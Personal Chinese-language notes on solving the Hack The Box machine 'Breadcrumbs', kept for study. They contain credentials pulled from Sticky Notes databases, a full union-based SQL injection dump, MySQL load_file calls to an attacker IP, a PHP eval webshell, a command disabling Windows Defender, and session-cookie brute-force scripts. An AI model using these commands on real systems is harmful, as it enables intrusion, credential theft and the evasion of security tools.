image-20240203201939191

Another way

似乎预期路径不是下载回收站的文件

Microsoft Store Sticky Notes

根据 todo 里的内容 Google Microsoft Store Sticky Notes 存储位置。

google Microsoft Store Sticky Notes location

Sticky Note Location - Microsoft Community

Where are Sticky Notes stored (Windows 10)? - Super User

%LocalAppData%\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState

dir $env:LocalAppData\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState

Directory: C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         1/15/2021   4:10 PM          20480 15cbbc93e90a4d56bf8d9a29305b8981.storage.session
-a----        11/29/2020   3:10 AM           4096 plum.sqlite
-a----         1/15/2021   4:10 PM          32768 plum.sqlite-shm
-a----         1/15/2021   4:10 PM         329632 plum.sqlite-wal

将这三个文件下载到本地。

sqlite3 plum.sqlite
sqlite> .table
Media           Stroke          SyncState       User
Note            StrokeMetadata  UpgradedNote
sqlite> select * from Note;
\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!
\id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g
\id=48924119-7212-4b01-9e0f-ae6d678d49b2 administrator: [MOVED]|ManagedPosition=|0|0||Yellow|0|||||||0c32c3d8-7c60-48ae-939e-798df198cfe7|8e814e57-9d28-4288-961c-31c806338c5b|637423162765765332||637423163995607122

得到 development 用户的凭据。

根目录有 development 目录,其下有 Krypter_Linux 文件,strings 查看内容可以得到:

Account: Administrator
http://passmanager.htb:1234/index.php
method=select&username=administrator&table=passwords

查看开放端口,可以发现 1234。

netstat -anto -p tcp | findstr 1234

  TCP    127.0.0.1:1234         0.0.0.0:0              LISTENING       2748     InHost

这里上帝视角已经知道可以注入了

# kali
ssh -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking=no development@10.10.10.228 -L 127.0.0.1:1234:127.0.0.1:1234 -fN

Sql injection

curl.exe http://127.0.0.1:1234/index.php -d 'method=select&username=administrator&table=passwords'

selectarray(1) {                 
  [0]=>                          
  array(1) {                     
    ["aes_key"]=>                
    string(16) "k19D193j.<19391("
  }                              
}
curl.exe http://127.0.0.1:1234/index.php --data-urlencode 'method=select' --data-urlencode 'table=passwords'  --data-urlencode "username=a' or 1=1 # "

curl.exe http://127.0.0.1:1234/index.php --data-urlencode 'method=select' --data-urlencode 'table=passwords'  --data-urlencode "username=a' union select user() #"
passwordM@localhost

curl.exe http://127.0.0.1:1234/index.php --data-urlencode 'method=select' --data-urlencode 'table=passwords'  --data-urlencode "username=a' union select database() #"
bread

curl.exe http://127.0.0.1:1234/index.php --data-urlencode 'method=select' --data-urlencode 'table=passwords'  --data-urlencode "username=a' union select group_concat(table_name) from information_schema.tables #"

curl.exe http://127.0.0.1:1234/index.php --data-urlencode 'method=select' --data-urlencode 'table=passwords'  --data-urlencode "username=a' union select table_name from information_schema.tables where table_schema='bread' #"
passwords

curl.exe http://127.0.0.1:1234/index.php --data-urlencode 'method=select' --data-urlencode 'table=passwords'  --data-urlencode "username=a' union select group_concat(column_name) from information_schema.columns where table_schema='bread' #"
id,account,password,aes_key

curl.exe http://127.0.0.1:1234/index.php --data-urlencode 'method=select' --data-urlencode 'table=passwords'  --data-urlencode "username=a' union select group_concat(id,':',account,':',password,':',aes_key) from passwords#"

1:Administrator:H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=:k19D193j.<19391(

再解密即可。

同时报错会显示路径。

Fatal error: Uncaught TypeError: mysqli_fetch_all(): Argument #1 ($result) must be of type mysqli_result, bool given in C:\Users\Administrator\Desktop\passwordManager\htdocs\index.php:18 Stack trace: #0 C:\Users\Administrator\Desktop\passwordManager\htdocs\index.php(18): mysqli_fetch_all(false, 1) #1 {main} thrown in C:\Users\Administrator\Desktop\passwordManager\htdocs\index.php on line 18

其他尝试

但是数据库可以直接连接

MariaDB [(none)]> show variables like 'secure_file_priv';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.002 sec)
load data local infile "/windows/win.ini" into table test FIELDS TERMINATED BY '\n';
select load_file(concat('\\\\',version(),'10.10.16.10\\fake'));
select load_file(0x5c5c31302e31302e31362e31305c66616b65);
select 'osanda' into dumpfile '\\\\10.10.16.10\\fake';
select 'osanda' into outfile '\\programdata\test';

问题

理解正则

grep -oP '<td scope="row">\K[^<]*'

grep -oP '<td scope="row">([^<]*)' filename.html | sed 's/<td scope="row">//'

sed -n 's/<td scope="row">\([^<]*\)<\/td>/\1/p' filename.html

awk -F'<td scope="row">|</td>' '/<td scope="row">/ {print $2}' filename.html

看看别人如何想到查看 cookie.php

同样都是一步一步看包含文件

上传文件如何构造,本人是搭建一个上传环境上传抓包看。

总结 PHP 上传服务器文件的代码

如何检查文件,为什么无法上传成功

MYSQL

MySQL 为什么不同的用户显示的表不同

load_file 无法查看文件,但是 secure_file_priv 为空。

my.ini

my.ini 有两个位置

administrator@BREADCRUMBS C:\Program Files\MariaDB 10.5>dir /s my.ini
 Volume in drive C has no label.                     
 Volume Serial Number is 7C07-CD3A                   
                                                     
 Directory of C:\Program Files\MariaDB 10.5\data     
                                                     
01/16/2021  12:21 PM               169 my.ini        
               1 File(s)            169 bytes        
                                                     
 Directory of C:\Program Files\MariaDB 10.5\data\data
                                                     
12/09/2020  03:23 PM               195 my.ini        
               1 File(s)            195 bytes        

     Total Files Listed:                          
               2 File(s)            364 bytes     
               0 Dir(s)   6,508,847,104 bytes free

secure_file_priv 无关,应该是没有读取文件的权限,由于没有 MySQL root 用户密码也无法证实。

MySQL LOAD_FILE() loads null values - Stack Overflow

MySQL :: MySQL 5.7 Reference Manual :: 6.2.2 Privileges Provided by MySQL

当前用户没有 FILE 权限

secure_file_priv =
Get-Service | Where-Object {$_.Name -like "*MariaDB*"}

restart-service -name MariaDB

不同表的权限

.\mysql.exe -upasswordM -p'hWjSh812jDn1asd./213-91!#('
.\mysql.exe -ubread -pjUli901
MariaDB [(none)]> select password('jUli901');
+-------------------------------------------+
| password('jUli901')                       |
+-------------------------------------------+
| *92DEECF57A7FADB47886BB3257186D1D49AF711F |
+-------------------------------------------+
1 row in set (0.000 sec)

MariaDB [(none)]> show grants;
+--------------------------------------------------------------------------------------------------------------+
| Grants for bread@localhost                                                                                   |
+--------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO `bread`@`localhost` IDENTIFIED BY PASSWORD '*92DEECF57A7FADB47886BB3257186D1D49AF711F' |
| GRANT SELECT ON `bread`.`books` TO `bread`@`localhost`                                                       |
| GRANT SELECT ON `bread`.`jwt` TO `bread`@`localhost`                                                         |
| GRANT SELECT, INSERT ON `bread`.`users` TO `bread`@`localhost`                                               |
| GRANT SELECT ON `bread`.`issues` TO `bread`@`localhost`                                                      |
+--------------------------------------------------------------------------------------------------------------+
5 rows in set (0.000 sec)
MariaDB [(none)]> show grants;
+------------------------------------------------------------------------------------------------------------------+
| Grants for passwordM@localhost                                                                                   |
+------------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO `passwordM`@`localhost` IDENTIFIED BY PASSWORD '*90CCDBE22C2B06DCED6AF5D2747AC6678CCB1ED2' |
| GRANT SELECT ON `bread`.`passwords` TO `passwordM`@`localhost`                                                   |
+------------------------------------------------------------------------------------------------------------------+
2 rows in set (0.000 sec)

MariaDB [(none)]> select password('hWjSh812jDn1asd./213-91!#(');
+-------------------------------------------+
| password('hWjSh812jDn1asd./213-91!#(')    |
+-------------------------------------------+
| *90CCDBE22C2B06DCED6AF5D2747AC6678CCB1ED2 |
+-------------------------------------------+
1 row in set (0.000 sec)

USAGE 无特权,没有读取权限

webshell上传失败

  • 为什么第一个webshell失败,反弹shell后尝试同样的shell。
echo '<?php eval($_REQUEST[cmd]); ?>' > eval.php

登录后测试,原来是被杀毒软件杀掉了。

image-20240203224131099

禁用后上传成功。

Set-MpPreference -DisableRealtimeMonitoring $true -Verbose

image-20240203224326156

WriteUp

HTB Breadcrumbs Walkthrough IDA 逆向

HackTheBox-Writeups/Boxes/Breadcrumbs/README.md at main · f4T1H21/HackTheBox-Writeups 写的很好

writeup 中搜索 book 有结果,但是实际上操作的时候没有任何反应,可能与 GFW 有关。

paul 用户生成 cookie 那里,有四种可能,运气好选中了正确的答案,实际上应该修改源码,将四种都打印出来。

<?php
function makesession($username, $seed){
    $key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
    $session_cookie = $username.md5($key);

    return $session_cookie;
}

for ($x = 0; $x <= 3; $x++) {
    print makesession('paul', $x);
    echo "\n";
}

?>

scp 用法

scp juliette@10.10.10.228:/Users/juliette/AppData/Local/Packages/Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe/LocalState/* .

scp -r juliette@10.10.10.228:$(echo -E "C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState" | tr \\ "/") .
tr: warning: an unescaped backslash at end of string is not portable

tr \\\\ "/" or tr '\\' "/"

python script

decode

不用 json.loads 转化,直接解码

import requests, sys
file = "../" + sys.argv[1]
data = {'book': file, 'method': '1'}
r = requests.post('http://10.10.10.228/includes/bookController.php', data=data)
print(bytes(r.text, 'utf-8').decode('unicode_escape').strip('"').replace('\/','/'))
>>> myString = "spam\\neggs"
>>> decoded_string = bytes(myString, "utf-8").decode("unicode_escape") # python3 
>>> decoded_string = myString.decode('string_escape') # python2
>>> print(decoded_string)
spam
eggs

python 转义特殊字符需要先编码再解码

>>> value = b's\\000u\\000p\\000p\\000o\\000r\\000t\\000@\\000p\\000s\\000i\\000l\\000o\\000c\\000.\\000c\\000o\\000m\\000'
>>> value.decode('unicode_escape').encode('latin1')  # convert to bytes
b's\x00u\x00p\x00p\x00o\x00r\x00t\x00@\x00p\x00s\x00i\x00l\x00o\x00c\x00.\x00c\x00o\x00m\x00'
>>> _.decode('utf-16-le') # decode from UTF-16-LE
'support@psiloc.com'

Process escape sequences in a string in Python - Stack Overflow

How do I .decode(‘string-escape’) in Python 3? - Stack Overflow

if __name__ == "__main__":
    if len(sys.argv) == 3:
        files = re.findall(r'([a-zA-Z0-9\-\/]*\.php)', page)
#!/usr/bin/env python3

import hashlib
import requests

users = "alex,paul,jack,olivia,john,emma,william,lucas,sirine,juliette,support".split(",")

for user in users:
    print(f"\r[*] Trying cookies for {user}" + 20*" ", end="", flush=True)
    for c in user:
        h = hashlib.md5(f"s4lTy_stR1nG_{c}(!528./9890".encode('utf-8')).hexdigest()
        cookie = f"{user}{h}"
        resp = requests.get('http://10.10.10.228/portal/index.php', cookies={"PHPSESSID": cookie})
        if user in resp.text.lower():
            print(f"\r[+] Found cookie for {user}: {cookie}")
print("\r" + 40*" ")

bash 算数

Bash 的算术运算 - Bash 脚本教程 - 网道

image-20240203232357077

((...))语法可以进行整数的算术运算。算数扩展 Arithmetic Expansion

  • base#numberbase进制的数。
echo "The decimal equivalent of '0x641' is: '$((16#641))'" 
The decimal equivalent of '0x641' is: '1601'
ascii

| Ascii | Decimal |
|   }   |   125   |
|   e   |   101   | 
|-------*---------|
| }*12  =  1500   |
|}*12+e =  1601   |
|~*12+Y =  1601   |

成功运行

./Krypter_Linux '}}}}}}}}}}}}e'
./Krypter_Linux '~~~~~~~~~~~~Y'

还有如下运行方式,没懂原理

./Krypter_Linux 000000000000000000000000000000566

ascii 0 的十进制是 48,总共 30个 0,然后 53+54+54。总和 1601。

>>> key = "not a good key"
>>> f'0x{sum([ord(y) for y in key]):x}'
'0x504'

jq

<<< bash here string

command line - What’s the difference between «, «< and < < in bash? - Ask Ubuntu

Here Strings

jq -R 'split(".") | .[0],.[1] | @base64d | fromjson' <<< eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoiZjRUMUgifX0.LS26Z_zznu-oIvL5zp-gLLTcKNS61YhThLEoEBMo5tI

逐段解释

echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoiZjRUMUgifX0.LS26Z_zznu-oIvL5zp-gLLTcKNS61YhThLEoEBMo5tI | jq -R 'split(".")'             
[
  "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9",
  "eyJkYXRhIjp7InVzZXJuYW1lIjoiZjRUMUgifX0",
  "LS26Z_zznu-oIvL5zp-gLLTcKNS61YhThLEoEBMo5tI"
]
  • split(regex; flags)

    Splits an input string on the separator argument.

echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoiZjRUMUgifX0.LS26Z_zznu-oIvL5zp-gLLTcKNS61YhThLEoEBMo5tI | jq -R 'split(".") | .[0],.[1]' 

选择数组索引 0,1

Array Index: .[<number>]
       When the index value is an integer, .[<number>] can index arrays. Arrays are zero-based, so .[2] returns the third element.
       Negative indices are allowed, with -1 referring to the last element, -2 referring to the next to last element, and so on.
echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoiZjRUMUgifX0.LS26Z_zznu-oIvL5zp-gLLTcKNS61YhThLEoEBMo5tI | jq -R 'split(".") | .[0],.[1] | @base64d' 
  • @base64d: 内置 base64 解码

    The inverse of @base64, input is decoded as specified by RFC 4648. Note: If the decoded string is not UTF-8, the results are undefined.

echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoiZjRUMUgifX0.LS26Z_zznu-oIvL5zp-gLLTcKNS61YhThLEoEBMo5tI | jq -R 'split(".") | .[0],.[1] | @base64d | fromjson' 
  • 将 JSON 文本解析为值。

Python Parses sticky note files

Parses sticky note files in .snt/.sqlite formats. Sqlite files may require the WAL and SHM files of the same name as well. Once run, WAL/SHM files will be merged into .sqlite file.

wal & shm

HTB: Breadcrumbs | 0xdf hacks stuff

The -wal file is the Write-Ahead Log (WAL) file. The -shm file is the Shared-Memory file for the DB, providing memory for multiple processes accessing the database.